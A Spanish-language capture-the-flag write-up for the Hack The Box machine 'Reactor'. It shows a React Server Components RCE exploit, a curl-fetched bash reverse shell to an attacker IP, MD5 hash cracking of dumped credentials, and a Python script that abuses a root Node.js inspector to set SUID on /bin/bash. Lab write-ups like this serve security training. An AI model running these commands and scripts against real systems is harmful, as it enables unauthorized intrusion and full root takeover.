Reactor WriteUp
Tabla de contenido
Reactor es una máquina de dificultad 🟩 Easy de la plataforma Hack The Box, correspondiente a la Season 11. El nombre no es casual, alude directamente a React y a la vulnerabilidad CVE-2025-55182 (apodada React2Shell), un RCE sin autenticación de CVSS 10.0 en React Server Components.
🗺️ Cadena de Ataque
Nmap → Puerto 22 (SSH) + 3000 (Next.js / React 19)
│
▼
CVE-2025-55182 (React2Shell) → deserialización RSC maliciosa → RCE como node
│
▼
/opt/reactor-app/reactor.db → hash MD5 de engineer
│
▼
hashcat → reactor1
│
▼
SSH como engineer → user.txt 🚩
│
▼
Node.js --inspect (root, localhost:9229) → CDP WebSocket → chmod +s /bin/bash → root 🏴
🔍 Reconocimiento
Configuración de /etc/hosts
echo "10.129.1.162 reactor.htb" | sudo tee -a /etc/hosts
Escaneo de Puertos
Fase 1, Descubrimiento rápido de puertos TCP:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv reactor.htb
Fase 2, Detección de versiones y scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv reactor.htb
| Puerto | Servicio | Detalle |
|---|---|---|
22 | SSH | OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 |
3000 | HTTP | Next.js (X-Powered-By: Next.js) |
Enumeración Web
http://reactor.htb:3000 sirve ReactorWatch, Core Monitoring System v3.2.1, un dashboard de monitorización de un reactor nuclear ficticio (Nuclear Dynamics Corp., Facility SITE-7). La página es pública y está completamente renderizada en servidor mediante React Server Components (RSC).
El nombre de la máquina es el hint más importante: Reactor = React + RCE.
💉 Acceso Inicial, CVE-2025-55182 (React2Shell)
¿Qué es CVE-2025-55182?
🧠 Concepto: CVE-2025-55182, apodado React2Shell, es una vulnerabilidad de deserialización insegura en React Server Components (versiones 19.0.0, 19.2.0). El protocolo RSC (React Flight) procesa payloads multipart que pueden referenciar propiedades internas de la respuesta mediante identificadores como
$@. Un atacante puede forjar un payload que inyecte una llamada aFunction()con código arbitrario a través del campo_prefixde_response, logrando RCE pre-autenticado con CVSS 10.0. El endpoint vulnerable en Next.js es el manejador de Server Actions (Next-Action).
Explotación
git clone https://github.com/whiteov3rflow/CVE-2025-55182-poc
cd CVE-2025-55182-poc
Verificación de RCE con callback OOB:
# Terminal 1 - HTTP server
goshs -d ~/http -p 80 -i 0.0.0.0
# Terminal 2
python3 exploit.py 'curl http://10.10.14.101/rce-test' http://reactor.htb:3000
10.129.1.162 - - [23/May/2026 22:18:59] "GET /rce-test HTTP/1.1" 404 -
RCE confirmado. Obtenemos reverse shell:
# Terminal 1 - listener
penelope -p 8443
# Terminal 2 - payload
echo 'bash -i >& /dev/tcp/10.10.14.101/8443 0>&1' > ~/http/shell.sh
goshs -d ~/http -p 80 -i 0.0.0.0
# Terminal 3 - exploit
python3 exploit.py 'curl http://10.10.14.101/shell.sh|bash' http://reactor.htb:3000
[+] Got reverse shell from reactor~10.129.1.162-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/python3!
node@reactor:/opt/reactor-app$
✅ Shell como
node. El payload aprovechaprocess.mainModule.require('child_process').execSync()inyectado a través del campo_prefixdel objeto_responseen el protocolo RSC.
🔑 Pivote a Usuario, SQLite → engineer
Extracción de credenciales
La aplicación utiliza una base de datos SQLite local:
strings /opt/reactor-app/reactor.db
CREATE TABLE users (
id INTEGER PRIMARY KEY,
username TEXT NOT NULL,
password_hash TEXT NOT NULL,
role TEXT NOT NULL,
email TEXT
engineer 39d97110eafe2a9a68639812cd271e8e operator engineer@reactor.htb
admin a203b22191d744a4e70ada5c101b17b8 administrator admin@reactor.htb
Crackeo del hash MD5
echo "39d97110eafe2a9a68639812cd271e8e" > hash_engineer.txt
hashcat -m 0 hash_engineer.txt /usr/share/wordlists/rockyou.txt --force
39d97110eafe2a9a68639812cd271e8e:reactor1
Acceso SSH como engineer
ssh engineer@reactor.htb # reactor1
🚩 User Flag
cat /home/engineer/user.txt
🧗 Escalada de Privilegios, Node.js Inspector → root
Detección del vector
Revisando los procesos en ejecución como engineer:
ps aux
root 1405 0.0 2.1 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
Un proceso Node.js corre como root con --inspect=127.0.0.1:9229. Esto expone el Chrome DevTools Protocol (CDP) en localhost, que permite ejecutar JavaScript arbitrario en el proceso, es decir, RCE como root.
🧠 Concepto: El flag
--inspectde Node.js abre un WebSocket que implementa el Chrome DevTools Protocol. Cualquier cliente que se conecte puede usarRuntime.evaluatepara ejecutar JS con los privilegios del proceso. Si el proceso corre como root, se tiene ejecución arbitraria de código como root.
Confirmación del endpoint
curl -s http://127.0.0.1:9229/json/list
[{
"description": "node.js instance",
"devtoolsFrontendUrl": "...",
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"url": "file:///opt/uptime-monitor/worker.js",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/f9010f6d-2e0f-4d88-9651-2fcc001f07c2"
}]
Opción A, node inspect (la más simple)
node inspect es el depurador interactivo integrado en Node.js. Acepta una dirección HOST:PORT y se conecta al inspector vía CDP. Una vez dentro expones un REPL donde exec() evalúa JS directamente en el proceso remoto:
node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
Break on start in node:internal/bootstrap/realm.js:383:1
debug>
debug> exec("process.mainModule.require('child_process').execSync('chmod +s /bin/bash').toString()")
debug> .exit
💡
exec()en este REPL evalúa el código en el contexto del proceso objetivo, no en el de node inspect. No hay que construir ningún frame WebSocket a mano.
Opción B, Script Python (sin dependencias extra)
La opción A no siempre funciona: node inspect es interactivo y no se puede encadenar fácilmente en una shell no-tty. El script Python reimplementa el mismo protocolo CDP directamente sobre TCP.
¿Qué hace el script paso a paso?
- Obtiene el WebSocket URL del endpoint HTTP de diagnóstico (
/json). - Realiza el WebSocket handshake manual: envía la cabecera HTTP
Upgrade: websocketcon la clave de negociación estándar. - Envía frames enmascarados: RFC 6455 exige que todo frame enviado por el cliente lleve 4 bytes de máscara XOR antes del payload. Sin esto el servidor cierra la conexión silenciosamente.
- Activa el dominio
RuntimeconRuntime.enable(necesario antes de llamar aRuntime.evaluate). - Ejecuta JS como root:
process.mainModule.require(...)accede a la funciónrequiredel módulo principal del worker (CommonJS), no es unrequireglobal, sino el que Node.js inyecta en cada módulo CJS a través del wrapper.
cat > /tmp/inspector_pwn.py << 'EOF'
import socket, json, urllib.request, time, os, struct
data = json.loads(urllib.request.urlopen('http://127.0.0.1:9229/json').read())
path = data[0]['webSocketDebuggerUrl'].split('9229')[1]
sock = socket.socket()
sock.connect(('127.0.0.1', 9229))
sock.settimeout(8)
key = 'dGhlIHNhbXBsZSBub25jZQ=='
sock.send(f'GET {path} HTTP/1.1\r\nHost: 127.0.0.1:9229\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n'.encode())
sock.recv(4096)
def send_msg(s, msg):
payload = msg.encode()
mask = os.urandom(4)
masked = bytes(b ^ mask[i%4] for i,b in enumerate(payload))
ln = len(payload)
if ln <= 125:
hdr = bytes([0x81, 0x80|ln]) + mask
elif ln <= 65535:
hdr = bytes([0x81, 0xFE]) + struct.pack('>H', ln) + mask
else:
hdr = bytes([0x81, 0xFF]) + struct.pack('>Q', ln) + mask
s.send(hdr + masked)
def recv_msg(s):
try: return s.recv(4096)
except: return b''
send_msg(sock, json.dumps({"id":0,"method":"Runtime.enable"}))
time.sleep(0.5)
recv_msg(sock)
send_msg(sock, json.dumps({"id":1,"method":"Runtime.evaluate","params":{
"expression": "process.mainModule.require('child_process').execSync('chmod +s /bin/bash').toString()"
}}))
time.sleep(2)
print(recv_msg(sock))
sock.close()
EOF
python3 /tmp/inspector_pwn.py
b'\x819{"id":1,"result":{"result":{"type":"string","value":""}}}'
execSync('chmod +s /bin/bash') ejecutado como root. String vacío = éxito (chmod no produce stdout).
ls -la /bin/bash
-rwsr-sr-x 1 root root 1446024 Mar 31 2024 /bin/bash
/bin/bash -p
id
uid=1001(engineer) gid=1001(engineer) euid=0(root) egid=0(root) groups=0(root),4(adm),27(sudo),998(lxd),1001(engineer)
✅ Shell como root via SUID bash. El proceso Node.js con
--inspectexpuesto en loopback es suficiente para ejecutar código arbitrario como root sin necesidad de port forwarding.
🏴 Root Flag
cat /root/root.txt
📝 Resumen de la Cadena
| # | Técnica | Herramienta | Resultado |
|---|---|---|---|
| 1 | Reconocimiento | nmap | Puerto 3000 Next.js/React 19 |
| 2 | CVE-2025-55182 React2Shell (RCE pre-auth) | exploit.py | Shell como node |
| 3 | Extracción credenciales SQLite | strings | Hash MD5 de engineer |
| 4 | Crackeo MD5 | hashcat + rockyou.txt | Contraseña: reactor1 |
| 5 | SSH | ssh | Shell como engineer + user.txt 🚩 |
| 6 | Node.js --inspect (CDP WebSocket) | node inspect / Python | chmod +s /bin/bash como root |
| 7 | SUID bash | /bin/bash -p | Shell como root + root.txt 🏴 |
Un saludo, nos vemos en el próximo challenge.
